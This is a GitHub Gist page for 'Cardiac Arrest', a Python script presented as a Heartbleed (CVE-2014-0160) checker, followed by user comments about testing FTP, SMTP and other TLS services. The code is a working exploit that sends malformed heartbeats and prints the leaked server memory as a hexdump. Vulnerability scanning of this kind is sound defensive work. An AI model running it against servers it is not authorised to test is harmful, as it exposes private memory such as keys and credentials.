Skip to content

Instantly share code, notes, and snippets.

@ah8r
Last active June 7, 2020 19:51
Show Gist options
  • Save ah8r/10632982 to your computer and use it in GitHub Desktop.
Save ah8r/10632982 to your computer and use it in GitHub Desktop.
Hut3 Cardiac Arrest (compatible with Python 2.7)

Cardiac Arrest

Hut3 Cardiac Arrest - A script to check OpenSSL servers for the Heartbleed bug (CVE-2014-0160).

Note: This code was originally a GitHub Gist but has been copied to a full GitHub Repository so issues can also be tracked. Both will be kept updated with the latest code revisions.

DISCLAIMER: There have been unconfirmed reports that this script can render HP iLO unresponsive. This script complies with the TLS specification, so responsitivity issues are likely the result of a bad implementation of TLS on the server side. CNS Hut3 and Adrian Hayter do not accept responsibility if this script crashes a server you test it against. USE IT AT YOUR OWN RISK. As always, the correct way to test for the vulnerability is to check the version of OpenSSL installed on the server in question. OpenSSL 1.0.1 through 1.0.1f are vulnerable.

This script has several advantages over similar scripts that have been released, including a larger list of supported TLS cipher suites, support for multiple TLS protocol versions (including SSLv3 since some configurations leak memory when SSLv3 is used). Multiple ports / hosts can be tested at once, and limited STARTTLS support is included.

Examples

Test all SSL/TLS protocols against 192.168.0.1 on port 443 (default behaviour):

python cardiac-arrest.py 192.168.0.1

Test all SSL/TLS protocols against 192.168.0.1 and 192.168.0.2 on ports 443 and 8443:

python cardiac-arrest.py -p 443,8443 192.168.0.1 192.168.0.2

Test the TLSv1.2 and TLSv1.1 protocols against 192.168.0.1 using SMTP STARTTLS on port 25:

python cardiac-arrest.py -s smtp -p 25 -V TLSv1.2,TLSv1.1 192.168.0.1

Several sections of code have been lifted from other detection scripts and modified to make them more efficient. Sources include but are likely not limited to:

Like other authors of Heartbleed scripts, I disclaim copyright to this source code.

#!/usr/bin/python
# Hut3 Cardiac Arrest - A script to check OpenSSL servers for the Heartbleed bug (CVE-2014-0160).
#
# DISCLAIMER: There have been unconfirmed reports that this script can render HP iLO unresponsive.
# This script complies with the TLS specification, so responsitivity issues are likely the result
# of a bad implementation of TLS on the server side. CNS Hut3 and Adrian Hayter do not accept
# responsibility if this script crashes a server you test it against. USE IT AT YOUR OWN RISK.
# As always, the correct way to test for the vulnerability is to check the version of OpenSSL
# installed on the server in question. OpenSSL 1.0.1 through 1.0.1f are vulnerable.
#
# This script has several advantages over similar scripts that have been released,
# including a larger list of supported TLS cipher suites, support for multiple TLS
# protocol versions (including SSLv3 since some configurations leak memory when
# SSLv3 is used). Multiple ports / hosts can be tested at once, and limited
# STARTTLS support is included.
#
#
# Examples:
#
# Test all SSL/TLS protocols against 192.168.0.1 and 192.168.0.2 on ports 443 and 8443:
#
# python cardiac-arrest.py -p 443,8443 192.168.0.1 192.168.0.2
#
# Test the TLSv1.2 protocol against 192.168.0.1 using SMTP STARTTLS on port 25:
#
# python cardiac-arrest.py -s smtp -p 25 -V TLSv1.2 192.168.0.1
#
#
# Several sections of code have been lifted from other detection scripts and
# modified to make them more efficient. Sources include but are likely not limited to:
#
# https://bitbucket.org/johannestaas/heartattack (johannestaas@gmail.com)
# https://gist.github.com/takeshixx/10107280 (takeshix@adversec.com)
#
# Like other authors of Heartbleed scripts, I disclaim copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
import argparse
import random
import string
num_bytes_per_line = 16
display_null_bytes = False
verbose = False
quietleak = False
starttls_options = ['none', 'smtp', 'pop3', 'imap', 'ftp']
protocol_hex_to_name = {0x00:'SSLv3', 0x01:'TLSv1.0', 0x02:'TLSv1.1', 0x03:'TLSv1.2'}
protocol_name_to_hex = dict(reversed(item) for item in protocol_hex_to_name.items())
alert_levels = {0x01:'warning', 0x02:'fatal'}
alert_descriptions = {0x00:'Close notify', 0x0a:'Unexpected message', 0x14:'Bad record MAC', 0x15:'Decryption failed', 0x16:'Record overflow ', 0x1e:'Decompression failure', 0x28:'Handshake failure', 0x29:'No certificate', 0x2a:'Bad certificate', 0x2b:'Unsupported certificate', 0x2c:'Certificate revoked', 0x2d:'Certificate expired', 0x2e:'Certificate unknown', 0x2f:'Illegal parameter', 0x30:'Unknown CA', 0x31:'Access denied', 0x32:'Decode error', 0x33:'Decrypt error', 0x3c:'Export restriction', 0x46:'Protocol version', 0x47:'Insufficient security', 0x50:'Internal error', 0x5a:'User canceled', 0x64:'No renegotiation', 0x6e:'Unsupported extension', 0x6f:'Certificate unobtainable', 0x70:'Unrecognized name', 0x71:'Bad certificate status response', 0x72:'Bad certificate hash value', 0x73:'Unknown PSK identity'}
buffer_size = 1024
def rand(size=10, chars=string.letters + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def hexdump(s):
s = str(s)
for b in xrange(0, len(s), num_bytes_per_line):
lin = [c for c in s[b : b + num_bytes_per_line]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
if pdat:
if display_null_bytes:
print ' %04x: %-48s %s' % (b, hxdat, pdat)
elif not re.match('^\.{' + str(num_bytes_per_line) + '}$', pdat):
print ' %04x: %-48s %s' % (b, hxdat, pdat)
sys.stdout.flush()
def hex2bin(arr):
return ''.join('{0:02x}'.format(x) for x in arr).decode('hex')
# TODO: Make this method cleaner and less static (i.e. generate random numbers properly, add support for SNI)
def gen_clienthello(v):
return hex2bin([
0x16, # Content Type (0x16 = Handshake)
0x03, v, # Protocol Version
0x03, 0x0c, # Record Length
0x01, # Handshake Type (0x01 = ClientHello)
0x00, 0x03, 0x08, # Handshake Length
0x03, v, #Protocol Version
0x53, 0x48, 0x73, 0xf0, 0x7c, 0xca, 0xc1, 0xd9, 0x02, 0x04, 0xf2, 0x1d, 0x2d, 0x49, 0xf5, 0x12, 0xbf, 0x40, 0x1b, 0x94, 0xd9, 0x93, 0xe4, 0xc4, 0xf4, 0xf0, 0xd0, 0x42, 0xcd, 0x44, 0xa2, 0x59, # "Random" 32 bytes
0x00, # Session ID
0x02, 0x96, # Cipher Suite Length
0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x07, 0x00, 0x08, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x0d, 0x00, 0x0e, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, 0x00, 0x12, 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, 0x00, 0x16, 0x00, 0x17, 0x00, 0x18, 0x00, 0x19, 0x00, 0x1a, 0x00, 0x1b, 0x00, 0x1c, 0x00, 0x1d, 0x00, 0x1e, 0x00, 0x1f, 0x00, 0x20, 0x00, 0x21, 0x00, 0x22, 0x00, 0x23, 0x00, 0x24, 0x00, 0x25, 0x00, 0x26, 0x00, 0x27, 0x00, 0x28, 0x00, 0x29, 0x00, 0x2a, 0x00, 0x2b, 0x00, 0x2c, 0x00, 0x2d, 0x00, 0x2e, 0x00, 0x2f, 0x00, 0x30, 0x00, 0x31, 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, 0x00, 0x3a, 0x00, 0x3b, 0x00, 0x3c, 0x00, 0x3d, 0x00, 0x3e, 0x00, 0x3f, 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x60, 0x00, 0x61, 0x00, 0x62, 0x00, 0x63, 0x00, 0x64, 0x00, 0x65, 0x00, 0x66, 0x00, 0x67, 0x00, 0x68, 0x00, 0x69, 0x00, 0x6a, 0x00, 0x6b, 0x00, 0x6c, 0x00, 0x6d, 0x00, 0x80, 0x00, 0x81, 0x00, 0x82, 0x00, 0x83, 0x00, 0x84, 0x00, 0x85, 0x00, 0x86, 0x00, 0x87, 0x00, 0x88, 0x00, 0x89, 0x00, 0x8a, 0x00, 0x8b, 0x00, 0x8c, 0x00, 0x8d, 0x00, 0x8e, 0x00, 0x8f, 0x00, 0x90, 0x00, 0x91, 0x00, 0x92, 0x00, 0x93, 0x00, 0x94, 0x00, 0x95, 0x00, 0x96, 0x00, 0x97, 0x00, 0x98, 0x00, 0x99, 0x00, 0x9a, 0x00, 0x9b, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x9e, 0x00, 0x9f, 0x00, 0xa0, 0x00, 0xa1, 0x00, 0xa2, 0x00, 0xa3, 0x00, 0xa4, 0x00, 0xa5, 0x00, 0xa6, 0x00, 0xa7, 0x00, 0xa8, 0x00, 0xa9, 0x00, 0xaa, 0x00, 0xab, 0x00, 0xac, 0x00, 0xad, 0x00, 0xae, 0x00, 0xaf, 0x00, 0xb0, 0x00, 0xb1, 0x00, 0xb2, 0x00, 0xb3, 0x00, 0xb4, 0x00, 0xb5, 0x00, 0xb6, 0x00, 0xb7, 0x00, 0xb8, 0x00, 0xb9, 0x00, 0xba, 0x00, 0xbb, 0x00, 0xbc, 0x00, 0xbd, 0x00, 0xbe, 0x00, 0xbf, 0x00, 0xc0, 0x00, 0xc1, 0x00, 0xc2, 0x00, 0xc3, 0x00, 0xc4, 0x00, 0xc5, 0x00, 0xff, 0xc0, 0x01, 0xc0, 0x02, 0xc0, 0x03, 0xc0, 0x04, 0xc0, 0x05, 0xc0, 0x06, 0xc0, 0x07, 0xc0, 0x08, 0xc0, 0x09, 0xc0, 0x0a, 0xc0, 0x0b, 0xc0, 0x0c, 0xc0, 0x0d, 0xc0, 0x0e, 0xc0, 0x0f, 0xc0, 0x10, 0xc0, 0x11, 0xc0, 0x12, 0xc0, 0x13, 0xc0, 0x14, 0xc0, 0x15, 0xc0, 0x16, 0xc0, 0x17, 0xc0, 0x18, 0xc0, 0x19, 0xc0, 0x1a, 0xc0, 0x1b, 0xc0, 0x1c, 0xc0, 0x1d, 0xc0, 0x1e, 0xc0, 0x1f, 0xc0, 0x20, 0xc0, 0x21, 0xc0, 0x22, 0xc0, 0x23, 0xc0, 0x24, 0xc0, 0x25, 0xc0, 0x26, 0xc0, 0x27, 0xc0, 0x28, 0xc0, 0x29, 0xc0, 0x2a, 0xc0, 0x2b, 0xc0, 0x2c, 0xc0, 0x2d, 0xc0, 0x2e, 0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x31, 0xc0, 0x32, 0xc0, 0x33, 0xc0, 0x34, 0xc0, 0x35, 0xc0, 0x36, 0xc0, 0x37, 0xc0, 0x38, 0xc0, 0x39, 0xc0, 0x3a, 0xc0, 0x3b, 0xc0, 0x3c, 0xc0, 0x3d, 0xc0, 0x3e, 0xc0, 0x3f, 0xc0, 0x40, 0xc0, 0x41, 0xc0, 0x42, 0xc0, 0x43, 0xc0, 0x44, 0xc0, 0x45, 0xc0, 0x46, 0xc0, 0x47, 0xc0, 0x48, 0xc0, 0x49, 0xc0, 0x4a, 0xc0, 0x4b, 0xc0, 0x4c, 0xc0, 0x4d, 0xc0, 0x4e, 0xc0, 0x4f, 0xc0, 0x50, 0xc0, 0x51, 0xc0, 0x52, 0xc0, 0x53, 0xc0, 0x54, 0xc0, 0x55, 0xc0, 0x56, 0xc0, 0x57, 0xc0, 0x58, 0xc0, 0x59, 0xc0, 0x5a, 0xc0, 0x5b, 0xc0, 0x5c, 0xc0, 0x5d, 0xc0, 0x5e, 0xc0, 0x5f, 0xc0, 0x60, 0xc0, 0x61, 0xc0, 0x62, 0xc0, 0x63, 0xc0, 0x64, 0xc0, 0x65, 0xc0, 0x66, 0xc0, 0x67, 0xc0, 0x68, 0xc0, 0x69, 0xc0, 0x6a, 0xc0, 0x6b, 0xc0, 0x6c, 0xc0, 0x6d, 0xc0, 0x6e, 0xc0, 0x6f, 0xc0, 0x70, 0xc0, 0x71, 0xc0, 0x72, 0xc0, 0x73, 0xc0, 0x74, 0xc0, 0x75, 0xc0, 0x76, 0xc0, 0x77, 0xc0, 0x78, 0xc0, 0x79, 0xc0, 0x7a, 0xc0, 0x7b, 0xc0, 0x7c, 0xc0, 0x7d, 0xc0, 0x7e, 0xc0, 0x7f, 0xc0, 0x80, 0xc0, 0x81, 0xc0, 0x82, 0xc0, 0x83, 0xc0, 0x84, 0xc0, 0x85, 0xc0, 0x86, 0xc0, 0x87, 0xc0, 0x88, 0xc0, 0x89, 0xc0, 0x8a, 0xc0, 0x8b, 0xc0, 0x8c, 0xc0, 0x8d, 0xc0, 0x8e, 0xc0, 0x8f, 0xc0, 0x90, 0xc0, 0x91, 0xc0, 0x92, 0xc0, 0x93, 0xc0, 0x94, 0xc0, 0x95, 0xc0, 0x96, 0xc0, 0x97, 0xc0, 0x98, 0xc0, 0x99, 0xc0, 0x9a, 0xc0, 0x9b, 0xc0, 0x9c, 0xc0, 0x9d, 0xc0, 0x9e, 0xc0, 0x9f, 0xc0, 0xa0, 0xc0, 0xa1, 0xc0, 0xa2, 0xc0, 0xa3, 0xc0, 0xa4, 0xc0, 0xa5, 0xc0, 0xa6, 0xc0, 0xa7, 0xc0, 0xa8, 0xc0, 0xa9, 0xc0, 0xaa, 0xc0, 0xab, 0xc0, 0xac, 0xc0, 0xad, 0xc0, 0xae, 0xc0, 0xaf, # Cipher Suites
0x01, # Compression Method Length
0x00, # Compression Method (0x00 = CompressionMethod.null)
0x00, 0x49, # Extensions Length
0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07, 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, 0x00, 0x23, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x01, 0x01 # Extensions
])
def gen_heartbeat(v):
return hex2bin([0x18, 0x03, v, 0x00, 0x03, 0x01, 0xff, 0xff])
def recvall(s, length, timeout=5):
end = time.time() + timeout
rdata = ''
while length > 0:
ready = select.select([s], [], [], 1)
if ready[0]:
data = s.recv(length)
if not data:
break
leng = len(data)
rdata += data
if time.time() > end:
break
length -= leng
else:
if time.time() > end:
break
return rdata
def recvmsg(s, timeout=5):
hdr = recvall(s, 5, timeout)
if hdr is None:
return None, None, None
elif len(hdr) == 5:
type, version, length = struct.unpack('>BHH', hdr)
payload = recvall(s, length, timeout)
if payload is None:
return type, version, None
else:
return None, None, None
return type, version, payload
def attack(ip, port, tlsversion, starttls='none', timeout=5):
tlslongver = protocol_hex_to_name[tlsversion]
if starttls == 'none':
print '[INFO] Connecting to ' + str(ip) + ':' + str(port) + ' using ' + tlslongver
else:
print '[INFO] Connecting to ' + str(ip) + ':' + str(port) + ' using ' + tlslongver + ' with STARTTLS'
sys.stdout.flush()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
s.connect((ip, port))
if starttls == 'smtp':
recvall(s, buffer_size)
s.send('ehlo ' + rand(10) + '\n')
res = recvall(s, buffer_size)
if not 'STARTTLS' in res:
print >> sys.stderr, '\033[93m[ERROR] STARTTLS does not appear to be supported.\033[0m\n'
sys.stderr.flush()
return False
s.send('starttls\n')
recvall(s, buffer_size)
elif starttls == 'pop3':
recvall(s, buffer_size)
s.send("STLS\n")
recvall(s, buffer_size)
elif starttls == 'imap':
recvall(s, buffer_size)
s.send("STARTTLS\n")
recvall(s, buffer_size)
elif starttls == 'ftp':
recvall(s, buffer_size)
s.send("AUTH TLS\n")
recvall(s, buffer_size)
if verbose: print '[INFO] Sending ClientHello'
s.send(gen_clienthello(tlsversion))
while True:
type, version, payload = recvmsg(s, timeout)
if type is None:
print >> sys.stderr, '\033[93m[ERROR] The server closed the connection without sending the ServerHello. This might mean the server does not support ' + tlslongver + ' or it might not support SSL/TLS at all.\033[0m\n'
sys.stderr.flush()
return False
elif type == 22 and ord(payload[-4]) == 0x0E:
if verbose: print '[INFO] ServerHello received'
break
if verbose: print '[INFO] Sending Heartbeat'
s.send(gen_heartbeat(tlsversion))
while True:
type, version, payload = recvmsg(s, timeout)
if type is None:
print '[INFO] No heartbeat response was received. The server is probably not vulnerable.'
if verbose: print '[INFO] Closing connection'
s.close()
print ''
sys.stdout.flush()
return False
if type == 24:
if len(payload) > 3:
if starttls == 'none':
print '\033[91m\033[1m[FAIL] Heartbeat response was ' + str(len(payload)) + ' bytes instead of 3! ' + str(ip) + ':' + str(port) + ' is vulnerable over ' + tlslongver + '\033[0m'
else:
print '\033[91m\033[1m[FAIL] Heartbeat response was ' + str(len(payload)) + ' bytes instead of 3! ' + str(ip) + ':' + str(port) + ' is vulnerable over ' + tlslongver + ' with STARTTLS\033[0m'
if not quietleak:
if display_null_bytes:
print '[INFO] Displaying response:'
else:
print '[INFO] Displaying response (lines consisting entirely of null bytes are removed):'
print ''
hexdump(payload)
print ''
if verbose: print '[INFO] Closing connection\n'
sys.stdout.flush()
s.close()
return True
else:
print '[INFO] The server processed the malformed heartbeat, but did not return any extra data.\n'
sys.stdout.flush()
return False
if type == 21:
print '[INFO] The server received an alert. It is likely not vulnerable.'
if verbose: print '[INFO] Alert Level: ' + alert_levels[ord(payload[0])]
if verbose: print '[INFO] Alert Description: ' + alert_descriptions[ord(payload[1])] + ' (see RFC 5246 section 7.2)'
if verbose: print '[INFO] Closing connection'
s.close()
print ''
sys.stdout.flush()
return False
except socket.error as e:
print >> sys.stderr, '\033[93m[ERROR] Connection error: ' + str(e.strerror) + ' \033[0m\n'
sys.stderr.flush()
return False
def main():
global num_bytes_per_line, display_null_bytes, verbose, quietleak
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--ports', type=str, default='443', help='Comma separated list of ports to check (default: 443)')
parser.add_argument('-s', '--starttls', type=str, default='none', help='Use STARTTLS to upgrade the plaintext connection to SSL/TLS. Valid values: none, smtp, pop3, imap, ftp (default: none)')
parser.add_argument('-t', '--timeout', type=int, default=5, help='Connection timeout in seconds (default: 5)')
parser.add_argument('-b', '--bytes', type=int, default=16, help='Number of leaked bytes to display per line (default 16)')
parser.add_argument('-n', '--null-bytes', action='store_true', default=False, help='Display lines consisting entirely of null bytes (default: False)')
parser.add_argument('-q', '--quietleak', action='store_true', default=False, help='Do not print leaked memory bytes on fail (default: False)')
parser.add_argument('-a', '--all-versions', action='store_true', default=False, help='Continue testing all versions of SSL/TLS even if the server is found to be vulnerable (default: False)')
parser.add_argument('-V', '--version', type=str, default='all', help='Comma separated list of SSL/TLS versions to check. Valid values: SSLv3, TLSv1.0, TLSv1.1, TLSv1.2')
parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Verbose output.')
parser.add_argument('hosts', metavar='host', nargs='+', help='A host to scan.')
args = parser.parse_args()
args.starttls = args.starttls.lower()
if args.starttls not in starttls_options:
print >> sys.stderr, '\033[93m[ERROR] Invalid STARTTLS value. Valid values: none, smtp, pop3, imap, ftp.\033[0m\n'
parser.print_help()
sys.exit(1)
num_bytes_per_line = args.bytes
display_null_bytes = args.null_bytes
verbose = args.verbose
quietleak = args.quietleak
versions = []
for v in [x.strip() for x in args.version.split(',')]:
if v:
versions.append(v)
if 'all' not in versions:
for v in versions:
if v not in protocol_name_to_hex:
print >> sys.stderr, '\033[93m[ERROR] Invalid SSL/TLS version(s). Valid values: SSLv3, TLSv1.0, TLSv1.1, TLSv1.2.\033[0m\n'
parser.print_help()
sys.exit(1)
ports = args.ports.split(',')
ports = list(map(int, ports))
hosts = []
for h in args.hosts:
for h2 in h.split(','):
h2 = h2.strip()
if h2:
hosts.append(h2)
for host in hosts:
try:
ip = socket.gethostbyname(host)
except socket.gaierror as e:
print '[INFO] Testing: ' + host
print >> sys.stderr, '\033[93m[ERROR] Could not resolve an IP address for the given host.\033[0m\n'
sys.stderr.flush()
continue
if ip == host:
print '[INFO] Testing: ' + host + '\n'
else:
print '[INFO] Testing: ' + host + ' (' + str(ip) + ')\n'
sys.stdout.flush()
for port in ports:
if 'all' in versions:
if (args.all_versions):
ssl30 = attack(ip, port, 0x00, starttls=args.starttls, timeout=args.timeout)
tls10 = attack(ip, port, 0x01, starttls=args.starttls, timeout=args.timeout)
tls11 = attack(ip, port, 0x02, starttls=args.starttls, timeout=args.timeout)
tls12 = attack(ip, port, 0x03, starttls=args.starttls, timeout=args.timeout)
if not ssl30 and not tls10 and not tls11 and not tls12:
if ip == host:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
else:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) +') does not appear to be vulnerable to Heartbleed!\033[0m\n'
sys.stdout.flush()
else:
if not attack(ip, port, 0x00, starttls=args.starttls, timeout=args.timeout):
if not attack(ip, port, 0x01, starttls=args.starttls, timeout=args.timeout):
if not attack(ip, port, 0x02, starttls=args.starttls, timeout=args.timeout):
if not attack(ip, port, 0x03, starttls=args.starttls, timeout=args.timeout):
if ip == host:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
else:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) + ') does not appear to be vulnerable to Heartbleed!\033[0m\n'
sys.stdout.flush()
else:
if (args.all_versions):
vulnerable = []
for v in versions:
if attack(ip, port, protocol_name_to_hex[v], starttls=args.starttls, timeout=args.timeout):
vulnerable.append(True)
if True not in vulnerable:
if ip == host:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
else:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) + ') does not appear to be vulnerable to Heartbleed!\033[0m\n'
sys.stdout.flush()
else:
vulnerable = True
for v in versions:
vulnerable = attack(ip, port, protocol_name_to_hex[v], starttls=args.starttls, timeout=args.timeout)
if vulnerable:
break
else:
continue
if not vulnerable:
if ip == host:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' does not appear to be vulnerable to Heartbleed!\033[0m\n'
else:
print '\033[1m[PASS] ' + host + ':' + str(port) + ' (' + str(ip) + ':' + str(port) + ') does not appear to be vulnerable to Heartbleed!\033[0m\n'
sys.stdout.flush()
if __name__ == '__main__':
main()
@ah8r
Copy link
Author

ah8r commented Apr 16, 2014

@HMBMartin:

Not sure what you mean with the first question. This script has nothing to do with certificate authorities or certificates at all for that matter.

As for your second question, the script performs the check before the initial handshake has been completed (after the ServerHello message is received) so it should not run into any firewall problems. This script is supposed to be used against your own systems though, so if you think a firewall is interfering, run the script from behind the firewall.

Copy link

ghost commented Apr 17, 2014

@ah8r:

Thanks for the reply. After poking around I realized my cert question was irrelevant but you just confirmed it.

I confirmed that the firewall used does not filter this particular script. There where others that were filtered. Thanks for the confirmation. Ran a few test against known systems with the bug including those behind a firewall on a test network. Worked great. Great job and thanks for making this available.

@jeremymarkel
Copy link

Thanks for this. It was helpful.

@ah8r
Copy link
Author

ah8r commented Apr 17, 2014

Have updated the script with a few more ciphers which are apparently supported by OpenSSL but are not documented by IANA. Am currently working on cleaning up the gen_clienthello() method to make it more dynamic and support SNI.

@jlampeatgithub
Copy link

Thanks for writing this!

However I'm having trouble testing many FTPS servers with the current version and a "cardiac-arrest.py -p (port) (hostname)" command.

So far, I've been able to test WS_FTP 7.6 OK, but attempts to Filezilla FTP Server and Syncplify FTP Server fail (even though I've been able to sign on successfully to both with a Windows-based "sslftp" command-line client.) I have the debug logs from the connections if you IM me...

@ah8r
Copy link
Author

ah8r commented Apr 17, 2014

@jlampeatgithub: What's your IM address?

@ah8r
Copy link
Author

ah8r commented Apr 17, 2014

@jlampeatgithub: Having read up on the way SSL works in Filezilla, it may be that you either aren't using the correct port or are not specifying that Cardiac Arrest use STARTTLS. Please try to run the following commands:

python cardiac-arrest.py -s ftp -p 21 hostname

python cardiac-arrest.py -p 990 hostname

@jlampeatgithub
Copy link

@ah8r: jlampe AT filetransferconsulting DOT com

@noxxi
Copy link

noxxi commented Apr 17, 2014

Nice tool, nice blog entry .. but their are sites which just close if they receive a tlsv1.2 handshake, so one needs to retry with a lower version (currently: bmwi.de). And btw, I think i've fixed the issues you mentioned in the blog in check-heartbleed.pl. It's nice to have good competition :)

@ah8r
Copy link
Author

ah8r commented Apr 17, 2014

@noxxi: The default behaviour of this script is to try all versions of SSL / TLS, from SSLv3.0 up to TLSv1.2, in that order. It will skip remaining versions if a Heartbleed vulnerability is found, but even this behaviour can be overridden with the -a flag.

Also, with the -V flag, you can restrict / re-order the versions tested. For instance, this will test for Heartbleed using TLSv1.2 and then TLSv1.1 (assuming TLSv1.2 wasn't vulnerable):

python cardiac-arrest.py -V TLSv1.2,TLSv1.1 192.168.1.0

I just checked check-heartbleed.pl and it works against my PoC server. Thanks for updating it. :-)

@noxxi
Copy link

noxxi commented Apr 18, 2014

You are right, I've should have better read your code in more detail.

@jlampeatgithub
Copy link

(TLDR: "python cardiac-arrest.py -s ftp -p 21 hostname" doesn't work against most of the FTPS servers I've been trying. The "no -s ftp" reference @ah8r noted above was for the FTPS "implicit" service, where the SSL/TLS session is negotiated immediately upon connect, like HTTPS.)

@ah8r
Copy link
Author

ah8r commented Apr 18, 2014

@jlampeatgithub: Does that mean you managed to get the script working with FTP servers, or are there still a few bugs?

@jlampeatgithub
Copy link

I managed to get it working with one FTP(S) server (WS_FTP). It doesn't work vs. FileZilla (which uses OpenSSL) or Syncplify (which doesn't); in both those cases it returns "server closed...connection without sending...ServerHello" for all four SSL/TLS versions.

@ah8r
Copy link
Author

ah8r commented Apr 18, 2014

@jlampeatgithub: Any chance you can give me the details of some servers that are affected? Without seeing the raw data being received it's hard to debug these kind of setups. I emailed your address above so you should have my email if you need to send details privately.

@ebebs007
Copy link

is it possible to scan smtp on IP range? like 192.168.0.1-192.168.0.200??

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment